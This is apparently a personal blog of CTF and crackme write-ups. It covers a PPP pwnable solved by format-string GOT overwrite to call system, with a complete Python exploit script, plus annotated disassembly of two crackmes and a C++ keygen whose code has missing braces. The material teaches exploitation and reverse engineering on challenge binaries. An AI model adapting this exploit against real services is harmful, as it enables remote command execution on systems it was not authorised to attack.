PPP pwnables 99

PPP rocks, and even though I spent the entire CTF time this year solving just two pwnables (this being one of them) I had a ton of fun. This is a tutorial on one of their challenges that took me way too long, and even then I needed a pointer (no pun intended ha ha). I’ve seen other solutions for this posted, but here’s yet another one. I know I’ve talked with some people who wouldn’t know where to start, so this is a basic tutorial for a relatively basic problem.

They give you a tar file (linked here as 2012ppp_pwn99.tar) and an endpoint.  I encourage you to give this a whirl. In the game you had to exploit this remotely on a machine you don’t have access to, which is actually the point where I got a bit stuck. So don’t cheat and put the shellcode in an environment variable or something.

Solution Walkthrough

The first step is to disassemble. There are several clear vulnerabilities in the main file. For example, there are at least three format strings in this block that looks something like:

.text:080489DA lea     edx, [esp+54h]
.text:080489DE mov     eax, [esp+50h]
.text:080489E2 mov     [esp+8], edx             ; format
.text:080489E6 mov     dword ptr [esp+4], 100h  ; char
.text:080489EE mov     [esp], eax               ; s
.text:080489F1 call    _sn_printf

esp+54h comes from the user (STDIN), and it’s the ‘username’ you enter, so with this format string we should be good to go. There are plenty of references on how to exploit format strings online, so I won’t cover the gritty details here. But I will link to some of my favorite references.

To exploit, we would like to hit one of these format strings. Backtracing to see how this block is hit, you first need to “win”. So there are three pieces of user input it retrieves at the beginning.

  1. The password. This is just hard coded as 2ipzLTxTGOtJE0Um
  2. The username. This has our format strings later on, but it doesn’t look like there’s any “winning” logic based on this
  3. “Guess”

“Guess” is kind of interesting. It calls time, then with that value it does a few arithmetic operations (imul, sar, sub) which ends up just dividing time by sixty. It uses this as an argument to srand, and then calls rand. So if you’re accurate within 60 seconds you’re close enough. You can get this close enough value with the following snippet, referencing glibc with ctypes:

#get the correct guess
libc = cdll.LoadLibrary("libc.so.6")
a= libc.time(a)
seconds = a/60
guess = libc.rand()

With the password and the guess, you’re set to reach the format string. Because the binary just goes to stdin and stdout, I tested this locally using netcat. One small trick here is to set ulimit to unlimited so when the program crashes you can examine the dump with “gdb ./problem core”:

ulimit -c unlimited
ncat --exec ./problem -l 56345

First thing I wrote sockets to interact with the binary. Once that was working I figured out the offset was 19 by just adding %08x %08x…. Then, the following was to overwrite the syslog got entry found in the binary. Because there’s a call later to syslog, we can overwrite that with arbitrary values.

syslog_got = 0x8049e04
#eip b7fde30b
HOW = 0x4141
LOW = 0x4141
username = struct.pack("P", syslog_got +2) + struct.pack("P", syslog_got) + "%." + str(HOW-8) +"x%19$hn%." + str(LOW-HOW)+ "x%20$hn"

At this point we control eip. I actually got this far relatively quickly. But where do we put our shellcode? At the format string, there aren’t any registers pointing near buffers we control. Theoretically username is big enough to fit in some shellcode… so that’s a possibility. Fgets buffers input, so my initial strategy was to output a giant nop sled after the format string as a place for the shellcode. Because it’s a format string, you can search for memory… So I actually got this working so I was reliably able to exploit locally across reboots, but I could never get it to work on their remote server. They weren’t using ASLR, and I wrote a program to search memory using the format string to look for my nop sled, but I was never able to find the shellcode anywhere.

Anyway, this is where I got a good pointer in the right direction by someone much better than me on the team. What he discovered was you could use the libc they included to overwrite the call to free (which has our username) with system. It uses the username for a parameter also, and is called immediately after the format string. Here’s the call to free:

.text:08048A02 mov     eax, [esp+50h]
.text:08048A06 mov     [esp], eax      ; ptr
.text:08048A09 call    _free

So we could make our username something like “command to execute#%08x…”, so that the system call executes up to the comment, and after that is our format string. Our final username can contain the commands first, and then the format string.

The only missing piece was finding the system address. This is how I found it.

  1. the printf function has a got address of 0x08049e2c
  2. Remember there’s no aslr or varying address. Using the read piece of the format string, you read the value at the got printf address- e.g. pass it to this function def read_format(location):
  3. Look at the hex step 2 returns. In this case it was (in little endian) 0xf7ed64f0
  4. They included a libc.so.6 file.  Looking at that system is at offset 0x39450 and printf is at offset 0x474f0
  5. So  hex (0xf7ed64f0 + (0x39450- 0x474f0)) is ‘0xf7ec8450L’, the real address of system

Knowing the real address of system, we can overwrite the got address for the free function.

The real final piece was making sure %hn was correct with the prepending commands, which changed the length of the string (and thus the values of %hn). To do this, I padded the commands to 28 characters, and took 28 from my %.<number> piece of the format string.  Anyway, here is my final exploit.

from ctypes import *
import socket
import struct
import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('cmd' )
parser.add_argument('--host', default='')
parser.add_argument('--port', type=int, default=56345)
parser.add_argument('--vm', dest='host', const="", action="store_const")
args = parser.parse_args()

syslog_got = 0x8049e04
free_got   = 0x8049e18
#system_address calculated from included libc.so offsets and read free value
system_address = 0xf7ec8450

def address_overwrite_format(owlocation, owvalue):
	HOW = owvalue >> 16
	LOW = owvalue & 0xffff
	print hex(HOW)
	print hex(LOW)
	mformat = ""
	if LOW > HOW:
		mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(HOW-8-28) +"x%26$hn%." + str(LOW-HOW) + "x%27$hn" 
		print "here"
		mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(LOW-8-28) +"x%27$hn%." + str(HOW-LOW) + "x%26$hn" 
	return mformat

def read_format(location):
	#%19 without padding
	mlocation = struct.pack("<I", location) + " ((((%19$08s))))"
	return (mlocation )

def extract_hex(mstr):
	print mstr
	#must be in a format (((hex)))
	a = mstr.split("((((")[1].split("))))")[0]
	for ch in a:
		sys.stdout.write(hex(ord(ch))+ " ")
	print ""

def pwn(username, extrastuff = ""):
	#get the password (found from strings)
	passwd = "2ipzLTxTGOtJE0Um"
	#get the correct guess
	libc = cdll.LoadLibrary("libc.so.6")
	a = 0
	a= libc.time(a)
	seconds = a/60
	guess = libc.rand()
	#format string in the username

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((args.host, args.port))
	print s.recv(1024)

	s.send(passwd + "\n")

	print s.recv(1024)
	s.sendall(username + "\n")
	print s.recv(1024)
	s.sendall(str(guess) + "\n" + extrastuff)
	retval = s.recv(1024)
	retval += s.recv(1024)
	return retval

def padcmd(cmd):
	#cmd must be exactly 28 bytes long
	if len(cmd) > 27:
		print "Error: cmd too long"
	cmd = cmd + "#" + "A" * (27- len(cmd))
	return cmd

#f = read_format(0x8049e30)
f = address_overwrite_format(free_got, system_address)
execcmd = padcmd(args.cmd)
a = pwn(execcmd + f)
print a

Reverseme – Trivial Linux

This one is pretty darn easy. It’s written in assembly, it’s very small.

You can download the executable at this link:  crackme2

The tricky part on this one was all the weird assembly instruction which I’m not used to. For example, there’s no printf, it’s done with system calls. Anyway, witha debugger it was really easy to figure out what the password is, because it loads it into memory right before it compares it to what you entered. I basically used the same tools as in this one.

Anyway, here’s a disassembly with notes:

Disassembly of section .text:

08048080 <.text>:
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 f8 90 04 08 mov $0x80490f8,%ecx ; password
804808f: ba 0d 00 00 00 mov $0xd,%edx
8048094: cd 80 int $0x80 ;print it out probably
8048096: ba 00 01 00 00 mov $0x100,%edx
804809b: b9 1b 91 04 08 mov $0x804911b,%ecx
80480a0: bb 00 00 00 00 mov $0x0,%ebx
80480a5: b8 03 00 00 00 mov $0x3,%eax
80480aa: cd 80 int $0x80 ;input the junk probably
80480ac: be 26 91 04 08 mov $0x8049126,%esi ;”QTBXCTU”
80480b1: 89 f7 mov %esi,%edi
80480b3: 31 db xor %ebx,%ebx
80480b5: fc cld ;clear the direction flag
80480b6: ac lods %ds:(%esi),%al ;load string, 81 to al
80480b7: 34 21 xor $0x21,%al
80480b9: aa stos %al,%es:(%edi) ; string store
80480ba: 43 inc %ebx
80480bb: 81 fb 07 00 00 00 cmp $0x7,%ebx
#while ebx!=7
80480c1: 74 02 je 0x80480c5
80480c3: e2 f1 loop 0x80480b6
#break 7
80480c5: be 1b 91 04 08 mov $0x804911b,%esi ;user pass
80480ca: bf 26 91 04 08 mov $0x8049126,%edi ;pucybut
80480cf: b9 07 00 00 00 mov $0x7,%ecx
80480d4: fc cld
80480d5: f3 a6 repz cmpsb %es:(%edi),%ds:(%esi)
#break 8
80480d7: 75 16 jne 0x80480ef
80480d9: b8 04 00 00 00 mov $0x4,%eax
80480de: bb 01 00 00 00 mov $0x1,%ebx
80480e3: b9 05 91 04 08 mov $0x8049105,%ecx
80480e8: ba 16 00 00 00 mov $0x16,%edx
80480ed: cd 80 int $0x80
80480ef: b8 01 00 00 00 mov $0x1,%eax
80480f4: cd 80 int $0x80

I didn’t read through most of this very carefully. The important stuff is here:
80480c5: be 1b 91 04 08 mov $0x804911b,%esi ;user pass
80480ca: bf 26 91 04 08 mov $0x8049126,%edi ;pucybut
80480cf: b9 07 00 00 00 mov $0x7,%ecx
80480d4: fc cld
80480d5: f3 a6 repz cmpsb %es:(%edi),%ds:(%esi)

In gdb, you can see this by going x 0x8049126, which contains pucybut.

Readelf – a sexy little elf


From crackmes.de

  • Get a working key/keygen.
  • Allowed are only GPLed-tools.
  • Patching/Hijacking prohibited ;)

You can get the executable at http://crackmes.de/users/lagalopex/cm1/ or I’ve mirrored it here.

Now, I know what you’re thinking, but no cheating and looking at the solutions without giving it a whirl or I WILL murder ball you. You DONT want to find out what that means.


objdump is pretty limited, but it does what you need. Fine for dissasembly.

$objdump -D ./cm1 > textfileiusetomakenotes

If you’re hard core you’ll only use objdump.


gdb is a debugger. You also could just use this as a disassembler since it disassembles, but that’s just not the way I roll.

Some useful commands off the top of my head:

-break <memlocation> – set breakpoints throughout your program
-run/continue – ironically these actually mean walk/stop
-disassemble <memlocation> – disasemble the code at a memory location or label
-info registers – display the values in most the registers
-x *0x1234567 – display the contents of what’s at 0x1234567. Also related is x $eax which will display eax. Useful because you can do things like x $ebp+8 to view offsets of different registers. Another thing you can do is specify a data type, like for ints it would be x/i.

Assembly Notes

Now I have written a bit of code in assembly before, but reversing is a whole new ballgame.

Some things that took me awhile to wrap my mind around:

-Interleaving instructions are everywhere, although it makes sense when considering an ia36 processor
-Weird (to me) optimizations. Some ones that are extremely common ones I noticed are:
-xor %eax, %eax (set eax to 0) this is apparently faster than mov 0x0,%eax
-The only difference between cmp and sub is that sub stores a value. They both can set the ZF
-test %eax,%eax is just short for see if eax is 0
-It’s easier to try to guess at conditionals than it is to follow the gotos


Where to begin?

cm1 is looking at a file called /home/username/.key_username for a valid key. A valid key is ascii text that has the following properties:

esi must equal the ascii value of the current letter in the username, username[i]
esi is modified by the following symbols

* means esi+=5
/ means esi-=5
– means esi–
+ means esi++

In the keyfile, you will have a series of these symbols to make esi equal to username[i], then a comma, then username[i]. Some caveats are:

a symbol repeated > 5 times makes the key invalid. ie ***** is not allowed.
after every iteration, esi = esi/username[i]

So a valid key for a user lundeen is (with no white space):


Easy as pie.

Here is my disassembly with the notes I made as I figured out these facts. My comments are hashed #

080484d4 <main>:
80484d4: 8d 4c 24 04 lea 0x4(%esp),%ecx
80484d8: 83 e4 f0 and $0xfffffff0,%esp
80484db: ff 71 fc pushl 0xfffffffc(%ecx)
80484de: 55 push %ebp
80484df: 89 e5 mov %esp,%ebp
80484e1: 57 push %edi
80484e2: 56 push %esi
80484e3: 53 push %ebx
80484e4: 51 push %ecx
80484e5: 81 ec 28 10 00 00 sub $0x1028,%esp

#Get the username, return to %eax
80484eb: e8 f0 fe ff ff call 80483e0 <getuid@plt>
80484f0: 83 ec 0c sub $0xc,%esp

#call getpwuid with %eax as an arg returns a struct <password>
80484f3: 50 push %eax
80484f4: e8 a7 fe ff ff call 80483a0 <getpwuid@plt>

80484f9: 89 85 d8 ef ff ff mov %eax,0xffffefd8(%ebp)

80484ff: 5e pop %esi
8048500: 5f pop %edi

#push what %eax is pointing to, the username
8048501: ff 30 pushl (%eax)
8048503: 31 f6 xor %esi,%esi

#Hello, %s, let’s seen what you’ve done so far
8048505: 68 50 87 04 08 push $0x8048750
804850a: e8 c1 fe ff ff call 80483d0 <printf@plt>

804850f: 8b 85 d8 ef ff ff mov 0xffffefd8(%ebp),%eax
8048515: 5b pop %ebx

#%ebx is 0x8048750

8048516: 8d 9d ee ef ff ff lea 0xffffefee(%ebp),%ebx

#%ebx is now 0xbfdcc6a6 or which is a memory address that contains a “”
#This is a negative number
#below, ebx is sort of an iterator. It’s initially set to 1 below

804851c: ff 30 pushl (%eax); the username?
804851e: ff 70 14 pushl 0x14(%eax); working directory
8048521: 68 7f 87 04 08 push $0x804877f ; %s/.key_%s
8048526: 68 01 10 00 00 push $0x1001 ;1001
804852b: 53 push %ebx

#snprintf(*str (ebx), 1001(size),/home/lundeen/.key_lundeen)
804852c: e8 bf fe ff ff call 80483f0 <snprintf@plt>

8048531: 83 c4 18 add $0x18,%esp
8048534: 6a 00 push $0x0
8048536: 53 push %ebx
8048537: e8 c4 fe ff ff call 8048400 <open@plt>

#the 0 flag indicates read only
#the open function returns a -1 if an error occurs
804853c: 83 c4 10 add $0x10,%esp

#if there is no file or permissions are not set, this cmp is true
804853f: 83 f8 ff cmp $0xffffffff,%eax

8048542: 89 c7 mov %eax,%edi
8048544: ba 01 00 00 00 mov $0x1,%edx
8048549: c6 85 d3 ef ff ff 20 movb $0x20,0xffffefd3(%ebp)
8048550: c7 85 d4 ef ff ff 00 movl $0x0,0xffffefd4(%ebp)
8048557: 00 00 00

#if -1 != eax meaning if there is no error, jump to 804863c
804855a: 0f 85 dc 00 00 00 jne 804863c <main+0x168>
#else jump to 8048682
8048560: e9 1d 01 00 00 jmp 8048682 <main+0x1ae>

—->jmp if there is more than the end of file in the file
#From below, if there is something in the file, jump to here
#eax should be 0 to begin with

#move the last character on the file to %dl then the eax
8048565: 8a 55 ef mov 0xffffffef(%ebp),%dl
8048568: 89 d0 mov %edx,%eax
804856a: 88 95 df ef ff ff mov %dl,0xffffefdf(%ebp)
8048570: 83 e8 2a sub $0x2a,%eax

8048573: 3c 05 cmp $0x5,%al

#ja is jump if greater than (unsigned)
#804867d is the end of the program
#if(eax is * + , – . or /)
8048575: 0f 87 02 01 00 00 ja 804867d <main+0x1a9>
804857b: 0f b6 c0 movzbl %al,%eax
#this jump is hit
#%eax is * + , – . / because ja is unsighned
#jum at the 0x0487a4 + eax*4
#x/x6 *0x80487a4 =
#0x80487a4: (*)0x0804858f (+)0x08048585 (,)0x080485bc (-)0x0804859b
#0x80487b4: (.)0x0804867d (/)0x080485a5

#esi seems to be given an initial value of 0
804857e: ff 24 85 a4 87 04 08 jmp *0x80487a4(,%eax,4)
#if the char is +
8048585: 46 inc %esi
#compare to the previous byte read 0xfffefd3
8048586: 80 bd d3 ef ff ff 2b cmpb $0x2b,0xffffefd3(%ebp)
804858d: eb 20 jmp 80485af <main+0xdb>

#if the char is *
#esi +=5
804858f: 83 c6 05 add $0x5,%esi
8048592: 80 bd d3 ef ff ff 2a cmpb $0x2a,0xffffefd3(%ebp)
8048599: eb 14 jmp 80485af <main+0xdb>

#if the char is –
804859b: 4e dec %esi
804859c: 80 bd d3 ef ff ff 2d cmpb $0x2d,0xffffefd3(%ebp)
80485a3: eb 0a jmp 80485af <main+0xdb>

#if the char is /
#esi -=5
80485a5: 83 ee 05 sub $0x5,%esi
80485a8: 80 bd d3 ef ff ff 2f cmpb $0x2f,0xffffefd3(%ebp)

–>all punctuation ends up here

#if the value above is not the same as the previous byte?
#if it’s not the same jump to the start of the loop below
#AND set ebx (the counter) back to 1. This means you can’t have > 5
#of the same thing in a row
80485af: 75 7a jne 804862b <main+0x157>

80485b1: 43 inc %ebx
80485b2: 83 fb 05 cmp $0x5,%ebx

#if 5 >= ebx (ebx is incremented above and set to 1 below)
#looks like this reads another char and repeats
80485b5: 76 79 jbe 8048630 <main+0x15c>
#else if 5<ebx
#then exit
80485b7: e9 c1 00 00 00 jmp 804867d <main+0x1a9>

#if the char is a comma, we’re done manipulating edi
#break 3
80485bc: 51 push %ecx
80485bd: 8d 4d ef lea 0xffffffef(%ebp),%ecx
80485c0: 6a 01 push $0x1
80485c2: 51 push %ecx
80485c3: 57 push %edi
#read another byte from the file
80485c4: e8 47 fe ff ff call 8048410 <read@plt>
80485c9: 83 c4 10 add $0x10,%esp
80485cc: 48 dec %eax
#eax is now equal to zero if it’s not the end of the file
#if it is the end of the file then end the program
80485cd: 0f 85 aa 00 00 00 jne 804867d <main+0x1a9>

#eax should be the last char just read
80485d3: 0f b6 45 ef movzbl 0xffffffef(%ebp),%eax

#if esi is == to char just read (else exit)
80485d7: 39 f0 cmp %esi,%eax
80485d9: 0f 85 9e 00 00 00 jne 804867d <main+0x1a9>
#eax and ecx have something to do with getpuid(), probably
#pointers to the username
80485df: 8b 85 d8 ef ff ff mov 0xffffefd8(%ebp),%eax
80485e5: 8b 8d d4 ef ff ff mov 0xffffefd4(%ebp),%ecx
80485eb: 8b 10 mov (%eax),%edx
80485ed: 0f be 04 0a movsbl (%edx,%ecx,1),%eax

#if eax isequal to esi else exit
#eax is the current username letter
80485f1: 39 c6 cmp %eax,%esi
80485f3: 0f 85 84 00 00 00 jne 804867d <main+0x1a9>

80485f9: 41 inc %ecx
80485fa: 89 8d d4 ef ff ff mov %ecx,0xffffefd4(%ebp)

#if there are no more letters in the username
8048600: 80 3c 0a 00 cmpb $0x0,(%edx,%ecx,1)
8048604: 75 14 jne 804861a <main+0x146>
8048606: 52 push %edx
8048607: 8d 45 ef lea 0xffffffef(%ebp),%eax
804860a: 6a 01 push $0x1
804860c: 50 push %eax
804860d: 57 push %edi
804860e: e8 fd fd ff ff call 8048410 <read@plt>
#break 5
8048613: 83 c4 10 add $0x10,%esp
#break 4
8048616: 85 c0 test %eax,%eax
#break 2
#if eax is not equal to zero then end program
#if there are no more stuff in the file
8048618: 75 63 jne 804867d <main+0x1a9>

804861a: ba 0a 00 00 00 mov $0xa,%edx
#break 3
804861f: 89 f0 mov %esi,%eax
8048621: 89 d1 mov %edx,%ecx
8048623: 31 d2 xor %edx,%edx
8048625: f7 f1 div %ecx
8048627: 89 c6 mov %eax,%esi
#edx ->0; ecx-> 10; eax ->esi
#esi = esi/10
8048629: eb 05 jmp 8048630 <main+0x15c>
#this may needs to be hit at least once every five times so the loop can repeat
804862b: bb 01 00 00 00 mov $0x1,%ebx
8048630: 8a 85 df ef ff ff mov 0xffffefdf(%ebp),%al
8048636: 88 85 d3 ef ff ff mov %al,0xffffefd3(%ebp)

#jump here if the file exists
804863c: 50 push %eax
804863d: 8d 45 ef lea 0xffffffef(%ebp),%eax
#%eax is 0xbfdcd6a7 which is the buffer where the previous byte will be stored

#the read function
8048640: 6a 01 push $0x1
8048642: 50 push %eax

#eax is 0xbfa20767
8048643: 57 push %edi
8048644: e8 c7 fd ff ff call 8048410 <read@plt>
#read(file discriptor(6),0xbfa20767 or whatever(buffer),size(1 byte))
#number of bytes read is returned, 0 indicates eof

#eax is now the size of the number of bytes returned
#the value read is stored in (hopefully 0xbfdcd6a7)

8048649: 83 c4 10 add $0x10,%esp
804864c: 48 dec %eax
#numbytes read–, it should probably be zero at this point, and ZF is set

#if the file was empty or an eof marker was received continue
#else je is true, so jump on up
804864d: 0f 84 12 ff ff ff je 8048565 <main+0x91>

8048653: 8b 95 d8 ef ff ff mov 0xffffefd8(%ebp),%edx
8048659: 8b 8d d4 ef ff ff mov 0xffffefd4(%ebp),%ecx
804865f: 8b 02 mov (%edx),%eax
8048661: 31 d2 xor %edx,%edx
8048663: 80 3c 08 00 cmpb $0x0,(%eax,%ecx,1)
8048667: 75 19 jne 8048682 <main+0x1ae>
8048669: 83 ec 0c sub $0xc,%esp
804866c: 68 8a 87 04 08 push $0x804878a
8048671: e8 3a fd ff ff call 80483b0 <puts@plt>
8048676: 31 d2 xor %edx,%edx
8048678: 83 c4 10 add $0x10,%esp
804867b: eb 05 jmp 8048682 <main+0x1ae>
804867d: ba 02 00 00 00 mov $0x2,%edx

8048682: 8d 65 f0 lea 0xfffffff0(%ebp),%esp
8048685: 89 d0 mov %edx,%eax
8048687: 59 pop %ecx
8048688: 5b pop %ebx
8048689: 5e pop %esi
804868a: 5f pop %edi
804868b: c9 leave
804868c: 8d 61 fc lea 0xfffffffc(%ecx),%esp
804868f: c3 ret

After figuring out how it works, it really is easy to make a keygen. I wrote this in C++

#include <fstream>
#include <iostream>
#include <string>
using namespace std;

#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>

int main()
string username = getlogin();
string key = “”;

int esi = 0;
for(int i=0; i<username.length(); i++)
int num = 0;
num += esi;
for(;num < username[i]-20; num+=20){
key += “****+-“;}
for(;num < username[i]-5; num+=5){
key += “*”;}
for(;num < username[i]; num++){
key += “+”;}

key = key + “,” + username[i];

esi = username[i]/10;

string writefile = “/home/” + username + “/.key_” + username;
ofstream fout;

return 0;


This was a lot of fun! I think I’ll try to do one of these from crackmes.de more often. A little hard though. This was rated at 1 which is the easiest, and I think 1 should be easier. cm1 definitely took me a long time to figure out. I’d say this is more like a 3 (the ranking is out of 10).